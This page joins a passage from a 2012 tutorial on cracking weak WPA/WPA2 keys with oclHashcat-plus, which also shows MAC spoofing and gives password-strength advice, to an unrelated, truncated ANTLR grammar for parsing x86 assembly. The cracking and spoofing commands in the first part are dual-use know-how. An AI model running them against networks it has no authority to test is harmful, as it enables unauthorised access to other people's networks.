file, that can then be fed into coWPAtty or aircrack-ng. A more powerful alternative is also included in BackTrack 5. oclHashcat-plus uses the power of a graphics processor to speed up password cracking. My Q8300 quad-core machine sports a supported CUDA-enabled Nvidia 9800GT, so I downloaded the oclHashCat-plus binaries and fired them up in Windows 7 64-bit. The first thing I decided to test was running a dictionary attack against the very same password and wordlist that I used for aircrack-ng. If you remember, this crack took a 62 seconds with the quad-core machine. We will need the same 4-way handshake we used for aircrack-ng, but oclHashcat-plus accepts the WPA/WPA2 hashes in it's own “hccap” file. So we'll need to convert the .cap file to a format oclHashcat-plus can understand. The easiest way to do this is to go to http://hashcat.net/cap2hccap/. If you're paranoid and don't want to give out the privileged information, you can also use other utilities to generate the file. With the new hccap file in hand, here are our commands: oclHashcat-plus dictionary attack Start a dictionary attack against a WPA key with the following: General Form: type dictionary_file | cudaHashcat-plus64.exe -m 2500 hash_file Example (BackTrack 5 R3): type passwords2.txt | cudaHashcat-plus64.exe -m 2500 Ch6-01.hccap Figure 11: oclHashcat dictionary attack oclHashcat-plus, running on my 9800GT's GPU, retrieved my passphrase in just 17 seconds compared to the 62 seconds needed for aircrack-ng on the quad-core Q8300, that's an impressive improvment! Of course, this assumes my passphrase is in the wordlist I've downloaded, which it wasn't initially, I had to add it. More oclHashcat-plus mask attack oclHaschcat-plus can be configured to do a mask attack either using a combination of a dictionary file and character masking or just strict character masking. The full details of a mask attack are beyond the scope of this article, but you can read more in the oclHashcat wiki. Mask attacks have to be run against a specific amount of characters, so the attack needs to be repeated several times. In my case I ran a 9-character attack against my hccap file. oclHashcat-plus mask attack Start a mask attack against a WPA key with the following: General Form: cudaHashcat-plus64.exe -m 2500 -a 3 -1 mask hash_file variables for password length Example (BackTrack 5 R3): cudaHashcat-plus64.exe -m 2500 -a 3 -1 ?l?d Ch6-01.hccap ?1?1?1?1?1?1?1?1?1 What I'm doing here is assuming the passphrase will only contain lowercase letters and numbers, which is a good guess for a start. I'm setting up the keyspace of the mask using ?l for lowercase letters and ?d for numbers. I'm then telling oclHashcat-plus to try every combination of that for a 9-character passphrase. As you can imagine, that is going to go nowhere fast. In Figure 12 below you can see that a combination of only letter and numbers for a 9-character passphrase yields 101,559,956,668,416 combinations! With my GPU crunching through at 6039 combinations/second the estimated time to completion is greater than 10 years! Note that my GPU is nowhere near as powerful as many of the cracking systems out there today. Figure 12: oclHashcat mask attack So the mask attack didn't work well for even my easier password, gilbert28, and my full password was not in any of the wordlists I downloaded. My next step would be to do a mixed dictionary-mask attack, basically telling ocl-Hashcat-plus to go through the dictionary and brute force some numbers on the end. When I look at the downloaded wordlist, gilbert is in there. This would take several runs at the attack, starting with one number added to the end, then two, etc.. We know from several site password hacks over the years that many people simply use lowercase letters for their passwords and my gilbert28 is no exception, here is the crack: oclHashcat-plus mixed dictionary and mask attack Start a mixed dictionary and mask attack against a WPA key with the following: General Form: cudaHashcat-plus64.exe -m 2500 -a 6 hash_file dict_file mask Example (BackTrack 5 R3): cudaHashcat-plus64.exe -m 2500 -a 6 Ch6-01.hccap passwords2.txt ?d?d What this is doing is taking every word in our 172,746 word dictionary and adding every combination of 00-99 to the end Figure 13: oclHashcat dictionary and mask attack Success! oclHascat-plus cracked it in 43 minutes, going through 17,217,340 combinations before coming on to my password. But my password was easier than I realized. What about the classymoon359 that is the default password for my router? oclHashcat-plus does have a concept where words can be combined from one or more dictionaries. It also employs a nice set of rules that can make all sorts of substitutions for common seemingly clever things people do such as "3" for "E" or "$" for "S". What I found in many of the wordlists I downloaded however, was that many <6 letter words were not in the dictionary, probably due to the 8 character minimum for WPA. I have to think NETGEAR combined two shorter words for that very reason. Even when I combined dictionaries to combine words, the time estimate for the crack of classymoon359 was around 69 days, and that's with me "giving" the 359 for sake of demonstration, which is not reasonable. Adding those 3 characters to the end of two distinct words would make the crack time rise exponentially. I'll make the caveat here that I am in no way an expert with oclHashcat-plus—the exact opposite really. My hardware, although beefier than some, is definitely not cutting-edge or even modern. Your mileage may vary. WPA-PSK Security Myths Although not strictly related to WPA-PSK cracking, there are two security myths that deserve debunking. Myth 1: Disabling the SSID Broadcast Secures your WLAN "Cloaking" your SSID might sound good on the surface. But programs like Kismet that are capable of monitoring wireless network traffic are also able to "decloak" access points by listening to traffic between the clients and the access point. For Kismet, this process takes only a few minutes of relatively light network traffic. Disabling the SSID broadcast really makes it only slightly harder for potential attackers to connect to your AP (they now have to type the SSID instead of clicking on it). Myth 2: Filtering MAC Addresses Secures Your WLAN This idea again sounds good on the surface: limit the computers that can connect by their MAC addresses. There are two problems with this technique. 1) Physically maintaining the table of acceptable MAC addresses becomes more burdensome as your network grows. 2) MAC addresses can be easily spoofed. Chances are, if you are being attacked by someone who has the know-how to get past WPA, they will most likely spoof their MAC when they connect anyway, to avoid detection in your router's logs (by a possible failed MAC filter pass). Kismet, in particular, excels at this with its AP "clients" view which lists, among other things, client MAC addresses, which we see in Figure 14 below. Figure 14: Kismet Client List with MAC Addresses Spoofing your MAC address (in Linux) is as simple as this: bt ~ # ifconfig ath0 hw ether AA:BB:CC:DD:EE:FF bt ~ # ifconfig ath0 up bt ~ # ifconfig ath0 ath0 Link encap:Ethernet HWaddr AA:BB:CC:DD:EE:FF UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:26 errors:0 dropped:0 overruns:0 frame:0 TX packets:1 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1092 (1.0 KiB) TX bytes:590 (590.0 In Windows, a majority of network drivers also allow you to easily change MAC address. Figure 15: Windows MAC Address Configuration WPA-PSK Security Tips You now know how to break weak WPA-PSK keys. Now make sure that it doesn't happen to you by using two simple techniques. Tip #1: Use strong passphrases! Conventional wisdom says that the longer and more random the password, the better. But do you really need 64 character randomly-generated passphrases to be safe from being hacked? Dan Godin's article has a few factoids that are helpful to keep in mind as you decide how long and how random your password should be. Assuming an attack checks for all combinations of all 95 letters, numbers, and symbols available on a standard English-language keyboard and uses a desktop computer with an Intel Core i7 980x processor: Cracking a five character passphrase takes a few hours Six characters takes about a day Seven characters takes more than 10 days This Ethical Recruiting Alliance article provides another data point, this one assuming the use of a Radeon HD 7970 graphics processor ($400 - $500 typically) to speed up cracking: A five-character password can be cracked in five seconds. A six-character password can be cracked in seven seconds. A seven-character password may take 13 hours to crack. An eight-character password may take 57 days to crack. A nine-character password may take 15 years to crack. So now you know why more sites and services are requiring passwords of at least 8 characters using a mix of upper and lower case letters and numbers! It should be noted that those times are for a brute force scenario. As we showed in our examples, simple words can be cracked fairly quickly if they are in the dictionary or are a mutation of a dictionary word. Our nine-character password gilbert28 fell to our Nvidia 9800GT in less than an hour because of the dictionary attack. Using the word Password as your password would fall in seconds to most attackers. The key is combining words and padding your own combination of special characters to the end. Steve Gibson's GRC has two tools to help you with passwords. His Perfect Passwords "Ultra High Security Password Generator" will generate totally random 63/64 character passwords. Really safe, but impossible to remember. Perhaps more useful is Steve's Interactive Brute Force Password Search Space Calculator. This tool takes the opposite approach to the Generator, taking passwords you create and spitting back information about their complexity. If you use this tool, however, be sure to read the background information on the page so that you know what your test results mean! As for that "simple" classymoon359 password that stumped CloudCracker. Steve's tool reported that it would have taken 2.9 weeks to crack using a "Massive Cracking Array Scenario" running at 100 trillion guesses a second. But since CloudCracker runs best case at only 671 guesses/second, the "Online Attack Scenario" (1,000 guesses/second) results of 55.79 million centuries would be an better indication of how long an attacker would need unless he/she had a very optimized dictionary. It might seem counter-intuitive, but an easy to remember password of TimRouterHouseFatCat17### would take 7.66 hundred million trillion centuries to crack in a massive cracking array scenario. Whereas something seemingly complex like G8sloves$ could possibly be cracked in just under 2 hours. In the quest for more secure passwords, it's easy to make them harder to remember and less secure. Using these tips and tools will hopefully make the opposite true for you. After spending some time with the Calculator, you just might decide to update a few of your passwords! I know I did. Tip #2: Change your SSID from its default Since a WPA key is salted with the SSID, it makes sense to change your AP's SSID to render precomputed hash tables useless (assuming you change it to something non-obvious). This forces the attacker to start from square one by either generating a hash table or using just a straight dictionary attack. Conclusion So, now you know how crackers can attack wireless networks that use weak WPA / WPA2 PSK keys and the simple countermeasures that you can take to ensure that it doesn't happen to you. With a strong key and good security practices, a wireless LAN secured by WPA / WPA2 is definitely not an easy target. Sursa: How To Crack WPA / WPA2 (2012) - Security Myths, Tips, Conclusion - SmallNetBuilder

ANTLR grammar for parsing x86 instructions // ANTLR grammer for parsing x86 assembly instructions in a slightly modified MASM syntax. // // Copyright 2009 by Sebastian Porst (sp@porst.tv); visit http://www.the-interweb.com for updates. // // This grammar is licensed under the GPL. If you contact me I can re-license the grammar to // the zlib/libpng license depending on what you want to do with it. // // Unsupported: // - Many instructions // - All kinds of things that use memory segments/selectors // // Note: The main rule of this grammar is called "instruction" grammar x86; options { output = AST; } tokens { INSTRUCTION; PREFIX; MNEMONIC; OPERANDS; OPERAND; REGISTER_8; REGISTER_16; REGISTER_32; HEX_LITERAL_8; HEX_LITERAL_16; HEX_LITERAL_32; MEM_8; MEM_16; MEM_32; OPERATOR; } WS : (' '|'\n')+ {$channel=HIDDEN;} // Ignore whitespace ; HEX_DIGIT : '0' .. '9' | 'a' .. 'f' | 'A' .. 'F' ; // All 8 bit x86 registers reg8 : 'al' -> REGISTER_8["al"] | 'ah' -> REGISTER_8["ah"] | 'bl' -> REGISTER_8["bl"] | 'bh' -> REGISTER_8["bh"] | 'cl' -> REGISTER_8["cl"] | 'ch' -> REGISTER_8["ch"] | 'dl' -> REGISTER_8["dl"] | 'dh' -> REGISTER_8["dh"] ; // All 16 bit x86 registers reg16 : 'ax' -> REGISTER_16["ax"] | 'bx' -> REGISTER_16["bx"] | 'cx' -> REGISTER_16["cx"] | 'dx' -> REGISTER_16["dx"] | 'si' -> REGISTER_16["si"] | 'di' -> REGISTER_16["di"] | 'sp' -> REGISTER_16["sp"] | 'bp' -> REGISTER_16["bp"] ; // All 32 bit x86 registers reg32 : 'eax' -> REGISTER_32["eax"] | 'ebx' -> REGISTER_32["ebx"] | 'ecx' -> REGISTER_32["ecx"] | 'edx' -> REGISTER_32["edx"] | 'esi' -> REGISTER_32["esi"] | 'edi' -> REGISTER_32["edi"] | 'esp' -> REGISTER_32["esp"] | 'ebp' -> REGISTER_32["ebp"] ; // All x86 accumulator registers accumulator : 'al' -> REGISTER_8["al"] | 'ax' -> REGISTER_16["ax"] | 'eax' -> REGISTER_32["eax"] ; // 8 bits literals of the form XXh or 0xXX literal_8 : literal_8_digits 'h' -> literal_8_digits | '0x' literal_8_digits -> literal_8_digits ; literal_8_digits : a=HEX_DIGIT -> HEX_LITERAL_8[$a.text] | a=HEX_DIGIT b=HEX_DIGIT -> HEX_LITERAL_8[$a.text + $b.text] ; // 16 bits literals of the form XXXXh or 0xXXXX literal_16 : literal_16_digits 'h' -> literal_16_digits | '0x' literal_16_digits -> literal_16_digits ; literal_16_digits : a=HEX_DIGIT -> HEX_LITERAL_16[$a.text] | a=HEX_DIGIT b=HEX_DIGIT -> HEX_LITERAL_16[$a.text + $b.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT -> HEX_LITERAL_16[$a.text + $b.text + $c.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT -> HEX_LITERAL_16[$a.text + $b.text + $c.text + $d.text] ; // 32 bits literals of the form XXXXXXXXh or 0xXXXXXXXX literal_32 : literal_32_digits 'h' -> literal_32_digits | '0x' literal_32_digits -> literal_32_digits ; literal_32_digits : a=HEX_DIGIT -> HEX_LITERAL_32[$a.text] | a=HEX_DIGIT b=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT f=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text + $f.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT f=HEX_DIGIT g=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text + $f.text + $g.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT f=HEX_DIGIT g=HEX_DIGIT h=HEX_DIGIT-> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text + $f.text + $g.text + $h.text] ; // Register or memory access of size 8 bits regmem_8 : reg8 | mem8 ; // Register or memory access of size 16 bits regmem_16 : reg16 | mem16 ; // Register or memory access of size 32 bits regmem_32 : reg32 | mem32 ; // Register or memory access of any size regmem : regmem_8 | regmem_16 | regmem_32 ; // Possible operand types for binary instruction source operands of size 8 bits but without memory access simple_source_operand_8 : reg8 -> ^(OPERAND reg8) | literal_8 -> ^(OPERAND literal_8) ; // Possible operand types of binary instruction source operands of size 16 bits but without memory access simple_source_operand_16 : reg16 -> ^(OPERAND reg16) | literal_16 -> ^(OPERAND literal_16) ; // Possible operand types of binary instruction source operands of size 32 bits but without memory access simple_source_operand_32 : reg32 -> ^(OPERAND reg32) | literal_32 -> ^(OPERAND literal_32) ; // Possible operand types for binary instruction source operands of size 8 bits complex_source_operand_8 : complex_target_operand_8 | literal_8 -> ^(OPERAND literal_8) ; // Possible operand types for binary instruction source operands of size 16 bits complex_source_operand_16 : complex_target_operand_16 | literal_16 -> ^(OPERAND literal_16) ; // Possible operand types for binary instruction source operands of size 32 bits complex_source_operand_32 : complex_target_operand_32 | literal_32 -> ^(OPERAND literal_32) ; // Possible operand types of binary instruction target operands complex_target_operand : complex_target_operand_8 | complex_target_operand_16 | complex_target_operand_32 ; // Possible operand types of binary instruction target operands of size 8 bits complex_target_operand_8 : reg8 -> ^(OPERAND reg8) | mem8 -> ^(OPERAND mem8) ; // Possible operand types of binary instruction target operands of size 16 bits complex_target_operand_16 : reg16 -> ^(OPERAND reg16) | mem16 -> ^(OPERAND mem16) ; // Possible operand types of binary instruction target operands of size 32 bits complex_target_operand_32 : reg32 -> ^(OPERAND reg32) | mem32 -> ^(OPERAND mem32) ; // Accessing a byte from memory mem8 : 'byte' 'ptr' '[' memory_expression ']' -> ^(MEM_8 memory_expression) ; // Accessing a word from memory mem16 : 'word' 'ptr' '[' memory_expression ']' -> ^(MEM_16 memory_expression) ; // Accessing a dword from memory; the 'dword ptr' is optional here mem32 : ('dword' 'ptr')? '[' memory_expression ']' -> ^(MEM_32 memory_expression) ; // Used to build sub-expressions in memory access expressions additive_operand : '+' -> OPERATOR["+"] | '-' -> OPERATOR["-"] ; // The expression between the brackets when accessing memory memory_expression : simple_expression // mov eax, [0x1234] | mult_expression | simple_expression additive_operand simple_expression -> ^(additive_operand simple_expression simple_expression) // mov eax, [0x1234 + eax] | simple_expression additive_operand mult_expression -> ^(additive_operand simple_expression mult_expression) // mov eax, [0x1234 + x * y] | mult_expression additive_operand simple_expression -> ^(additive_operand mult_expression simple_expression) // mov eax, [x * y + 0x1234] | reg32 additive_operand mult_expression additive_operand literal_32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | literal_32 additive_operand mult_expression additive_operand reg32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | mult_expression additive_operand reg32 additive_operand literal_32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | mult_expression additive_operand literal_32 additive_operand reg32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | mult_expression additive_operand literal_32 additive_operand literal_32 -> ^(additive_operand ^(additive_operand literal_32 mult_expression) literal_32) | reg32 additive_operand literal_32 additive_operand mult_expression -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | literal_32 additive_operand reg32 additive_operand mult_expression -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | literal_32 additive_operand literal_32 additive_operand mult_expression -> ^(additive_operand ^(additive_operand literal_32 mult_expression) literal_32) ; // Multiplicative part of memory access expressions mult_expression : literal_32 '*' reg32 -> ^(OPERATOR["*"] literal_32 reg32) | reg32 '*' literal_32 -> ^(OPERATOR["*"] reg32 literal_32) ; simple_expression : reg32 | literal_32 ; // This is the main rule of the grammar. It can be used to parse a complete x86 instruction instruction : nullary_instruction -> ^(INSTRUCTION nullary_instruction) // Instructions without operands | unary_instruction -> ^(INSTRUCTION unary_instruction) // Instructions with one operand | binary_instruction -> ^(INSTRUCTION binary_instruction) // Instructions with two operands | arpl | bound | bit_scan_instructions // BSF, BSR | bswap | bit_test_instructions // BT, BTC, BTR, BTS | cmpxchg | enter | imul | in | int_instruction | branch_instructions // CALL, standard jumps | jcxz | lar | lds | lea | les | lfs | loop_instructions // LOOP, LOOPE, LOOPNE | mov_ex_instructions // MOVSX, MOVZX | out | push | rotate_instructions -> ^(INSTRUCTION rotate_instructions) // RCL, RCR, ROL, ROR, SHL, SHR, SAL, SAR | string_instructions -> ^(INSTRUCTION string_instructions) // REP X, REPE X, REPNE X | return_instructions -> ^(INSTRUCTION return_instructions) // RET, RETN, RETF | set_instructions -> ^(INSTRUCTION set_instructions) // SETCC | double_shift_instructions -> ^(INSTRUCTION double_shift_instructions) // SHRD, SHLD ; // Instructions without any operands nullary_instruction : 'aaa' -> MNEMONIC["aaa"] | 'aad' -> MNEMONIC["aad"] | 'aam' -> MNEMONIC["aam"] | 'aas' -> MNEMONIC["aas"] | 'cbw' -> MNEMONIC["cbw"] | 'cdq' -> MNEMONIC["csq"] | 'clc' -> MNEMONIC["clc"] | 'cld' -> MNEMONIC["cld"] | 'cli' -> MNEMONIC["cli"] | 'clts' -> MNEMONIC["clts"] | 'cmc' -> MNEMONIC["cmc"] | cmps_mnemonics | 'cwd' -> MNEMONIC["cwd"] | 'cwde' -> MNEMONIC["cwde"] | 'daa' -> MNEMONIC["daa"] | 'das' -> MNEMONIC["das"] | 'hlt' -> MNEMONIC["hlt"] | 'insw' -> MNEMONIC["insw"] | 'into' -> MNEMONIC["into"] | 'invd' -> MNEMONIC["invd"] | 'invlpg' -> MNEMONIC["invlpg"] | 'iret' -> MNEMONIC["iret"] | 'iretd' -> MNEMONIC["iretd"] | 'lahf' -> MNEMONIC["lahf"] | 'leave' -> MNEMONIC["leave"] | 'lock' -> MNEMONIC["lock"] | lods_mnemonics | movs_mnemonics | 'nop' -> MNEMONIC["nop"] | 'popad' -> MNEMONIC["popad"] | 'popaw' -> MNEMONIC["popaw"] | 'popfd' -> MNEMONIC["popfd"] | 'pushaw' -> MNEMONIC["pushaw"] | 'pushad' -> MNEMONIC["pushad"] | 'pushf' -> MNEMONIC["pushf"] | scas_mnemonics | stos_mnemonics | 'sahf' -> MNEMONIC["sahf"] | 'stc' -> MNEMONIC["stc"] | 'std' -> MNEMONIC["std"] | 'sti' -> MNEMONIC["sti"] | 'xlat' -> MNEMONIC["xlat"] ; // Instructions with a single operand and default operand options unary_instruction : unary_instruction_mnemonic complex_target_operand -> unary_instruction_mnemonic ^(OPERANDS complex_target_operand) ; unary_instruction_mnemonic : 'dec' -> MNEMONIC["dec"] | 'div' -> MNEMONIC["div"] | 'idiv' -> MNEMONIC["idiv"] | 'inc' -> MNEMONIC["inc"] | 'mul' -> MNEMONIC["mul"] | 'neg' -> MNEMONIC["neg"] | 'not' -> MNEMONIC["not"] | 'pop' -> MNEMONIC["pop"] ; // Instructions with two operands and default operand options binary_instruction : binary_instruction_mnemonic binary_operand -> binary_instruction_mnemonic binary_operand ; // Mnemonics of all binary instructions with default operand options binary_instruction_mnemonic : 'adc' -> MNEMONIC["adc"] | 'add' -> MNEMONIC["add"] | 'and' -> MNEMONIC["and"] | 'cmp' -> MNEMONIC["cmp"] | 'mov' -> MNEMONIC["mov"] | 'or' -> MNEMONIC["or"] | 'sbb' -> MNEMONIC["sbb"] | 'sub' -> MNEMONIC["sub"] | 'test' -> MNEMONIC["test"] | 'xchg' -> MNEMONIC["xchg"] | 'xor' -> MNEMONIC["xor"] ; // Defines the default behaviour of binary instruction operands. // The target operand can be either a register or a memory address, // the source operand can be a register, a memory address, or an // integer literal. // It is not possible to have both the source operand and the // target operand access memory. binary_operand : | reg8 ',' complex_source_operand_8 -> ^(OPERANDS ^(OPERAND reg8) complex_source_operand_8) | mem8 ',' simple_source_operand_8 -> ^(OPERANDS ^(OPERAND mem8) simple_source_operand_8) | reg16 ',' complex_source_operand_16 -> ^(OPERANDS ^(OPERAND reg16) complex_source_operand_16) | mem16 ',' simple_source_operand_16 -> ^(OPERANDS ^(OPERAND mem16) simple_source_operand_16) | reg32 ',' complex_source_operand_32 -> ^(OPERANDS ^(OPERAND reg32) complex_source_operand_32) | mem32 ',' simple_source_operand_32 -> ^(OPERANDS ^(OPERAND mem32) simple_source_operand_32) ; arpl : 'arpl' reg16 ',' reg16 -> ^(INSTRUCTION MNEMONIC["arpl"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND reg16))) | 'arpl' mem16 ',' reg16 -> ^(INSTRUCTION MNEMONIC["arpl"] ^(OPERANDS ^(OPERAND mem16) ^(OPERAND reg16))) ; bound : 'bound' reg16 ',' mem32 -> ^(INSTRUCTION MNEMONIC["bound"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND mem32))) | 'bound' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["bound"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; bit_scan_instructions : bit_scan_mnemonic reg16 ',' reg16 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg16) ^(OPERAND reg16))) | bit_scan_mnemonic reg16 ',' mem16 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg16) ^(OPERAND mem16))) | bit_scan_mnemonic reg32 ',' reg32 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERAND reg32))) | bit_scan_mnemonic reg32 ',' mem32 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; bit_scan_mnemonic : 'bsf' -> MNEMONIC["bsf"] | 'bsr' -> MNEMONIC["bsr"] ; bswap : 'bswap' reg32 -> ^(INSTRUCTION MNEMONIC["bswap"] ^(OPERANDS ^(OPERAND reg32))) ; bit_test_instructions : bit_test_mnemonic bit_test_operands -> ^(INSTRUCTION bit_test_mnemonic bit_test_operands) ; bit_test_mnemonic : 'bt' -> MNEMONIC["bt"] | 'btc' -> MNEMONIC["btc"] | 'btr' -> MNEMONIC["btr"] | 'bts' -> MNEMONIC["bts"] ; bit_test_operands : reg16 ',' reg16 -> ^(OPERANDS ^(OPERAND reg16) ^(OPERAND reg16)) | mem16 ',' reg16 -> ^(OPERANDS ^(OPERAND mem16) ^(OPERAND reg16)) | reg16 ',' literal_8 -> ^(OPERANDS ^(OPERAND reg16) ^(OPERAND literal_8)) | mem16 ',' literal_8 -> ^(OPERANDS ^(OPERAND mem16) ^(OPERAND literal_8)) | reg32 ',' reg32 -> ^(OPERANDS ^(OPERAND reg32) ^(OPERAND reg32)) | mem32 ',' reg32 -> ^(OPERANDS ^(OPERAND mem32) ^(OPERAND reg32)) | reg32 ',' literal_8 -> ^(OPERANDS ^(OPERAND reg32) ^(OPERAND literal_8)) | mem32 ',' literal_8 -> ^(OPERANDS ^(OPERAND mem32) ^(OPERAND literal_8)) ; cmpxchg : 'cmpxchg' regmem_8 ',' reg8 -> ^(INSTRUCTION MNEMONIC["cmpxchg"] ^(OPERANDS ^(OPERAND regmem_8) ^(OPERAND reg8))) | 'cmpxchg' regmem_16 ',' reg16 -> ^(INSTRUCTION MNEMONIC["cmpxchg"] ^(OPERANDS ^(OPERAND regmem_16) ^(OPERAND reg16))) | 'cmpxchg' regmem_32 ',' reg32 -> ^(INSTRUCTION MNEMONIC["cmpxchg"] ^(OPERANDS ^(OPERAND regmem_32) ^(OPERAND reg32))) ; enter : 'enter' literal_16 ',' literal_8 -> ^(INSTRUCTION MNEMONIC["enter"] ^(OPERANDS ^(OPERAND literal_16) ^(OPERAND literal_8))) ; imul : 'imul' mem32 -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS ^(OPERAND mem32))) | 'imul' imul_first_value -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS imul_first_value)) | 'imul' imul_first_value ',' imul_second_value -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS imul_first_value imul_second_value)) | 'imul' imul_first_value ',' imul_second_value ',' imul_third_value -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS imul_first_value imul_second_value imul_third_value)) ; imul_first_value : reg16 -> ^(OPERAND reg16) | reg32 -> ^(OPERAND reg32) ; imul_second_value : regmem_16 -> ^(OPERAND regmem_16) | regmem_32 -> ^(OPERAND regmem_32) | literal_32 -> ^(OPERAND literal_32) ; imul_third_value : literal_32 -> ^(OPERAND literal_32) ; in : 'in' accumulator ',' literal_8 -> ^(INSTRUCTION MNEMONIC["in"] ^(OPERANDS ^(OPERAND accumulator) ^(OPERAND literal_8))) | 'in' accumulator ',' 'dx' -> ^(INSTRUCTION MNEMONIC["in"] ^(OPERANDS ^(OPERAND accumulator) ^(OPERAND REGISTER_16["dx"]))) ; int_instruction : 'int' literal_8 -> ^(INSTRUCTION MNEMONIC["int"] ^(OPERANDS ^(OPERAND literal_8))) ; branch_instructions : branch_mnemonic complex_source_operand_32 -> ^(INSTRUCTION branch_mnemonic ^(OPERANDS complex_source_operand_32)) ; branch_mnemonic : 'call' -> MNEMONIC["call"] | 'ja' -> MNEMONIC["ja"] | 'jae' -> MNEMONIC["jae"] | 'jb' -> MNEMONIC["jb"] | 'jbe' -> MNEMONIC["jbe"] | 'jc' -> MNEMONIC["jc"] | 'je' -> MNEMONIC["je"] | 'jg' -> MNEMONIC["jg"] | 'jge' -> MNEMONIC["jge"] | 'jl' -> MNEMONIC["jl"] | 'jle' -> MNEMONIC["jle"] | 'jmp' -> MNEMONIC["jmp"] | 'jna' -> MNEMONIC["jna"] | 'jnae' -> MNEMONIC["jnae"] | 'jnb' -> MNEMONIC["jnb"] | 'jnbe' -> MNEMONIC["jnbe"] | 'jnc' -> MNEMONIC["jnc"] | 'jne' -> MNEMONIC["jne"] | 'jng' -> MNEMONIC["jng"] | 'jnge' -> MNEMONIC["jnge"] | 'jnl' -> MNEMONIC["jnl"] | 'jnle' -> MNEMONIC["jnle"] | 'jno' -> MNEMONIC["jno"] | 'jnp' -> MNEMONIC["jnp"] | 'jns' -> MNEMONIC["jns"] | 'jnz' -> MNEMONIC["jnz"] | 'jo' -> MNEMONIC["jo"] | 'jp' -> MNEMONIC["jp"] | 'jpe' -> MNEMONIC["jpe"] | 'jpo' -> MNEMONIC["jpo"] | 'js' -> MNEMONIC["js"] | 'jz' -> MNEMONIC["jz"] ; jcxz : 'jcxz' literal_32 -> ^(INSTRUCTION MNEMONIC["jcxz"] ^(OPERANDS ^(OPERAND literal_32))) | 'jecxz' literal_32 -> ^(INSTRUCTION MNEMONIC["jecxz"] ^(OPERANDS ^(OPERAND literal_32))) ; lar : 'lar' reg16 ',' regmem_16 -> ^(INSTRUCTION MNEMONIC["lar"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND regmem_16))) | 'lar' reg32 ',' regmem_32 -> ^(INSTRUCTION MNEMONIC["lar"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND regmem_32))) ; lds : 'lds' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lds"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; lea : 'lea' reg16 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lea"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND mem32))) | 'lea' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lea"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; les : 'les' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["les"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; lfs : 'lfs' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lfs"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; lgs : 'lgs' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lgs"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; loop_instructions : loop_mnemonic literal_32 -> ^(INSTRUCTION loop_mnemonic ^(OPERANDS ^(OPERAND literal_32))) ; loop_mnemonic : 'loop' -> MNEMONIC["loop"] | 'loope' -> MNEMONIC["loope"] | 'loopz' -> MNEMONIC["loopz"] | 'loopne' -> MNEMONIC["loopne"] | 'loopnz' -> MNEMONIC["loopnz"] ; mov_ex_instructions : mov_ex_mnemonic reg16 ',' regmem_8 -> ^(INSTRUCTION mov_ex_mnemonic ^(OPERANDS ^(OPERAND reg16) ^(OPERANDS regmem_8))) | mov_ex_mnemonic reg32 ',' regmem_8 -> ^(INSTRUCTION mov_ex_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERANDS regmem_8))) | mov_ex_mnemonic reg32 ',' regmem_16 -> ^(INSTRUCTION mov_ex_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERANDS regmem_16))) ; mov_ex_mnemonic : 'movsx' -> MNEMONIC["movsx"] | 'movzx' -> 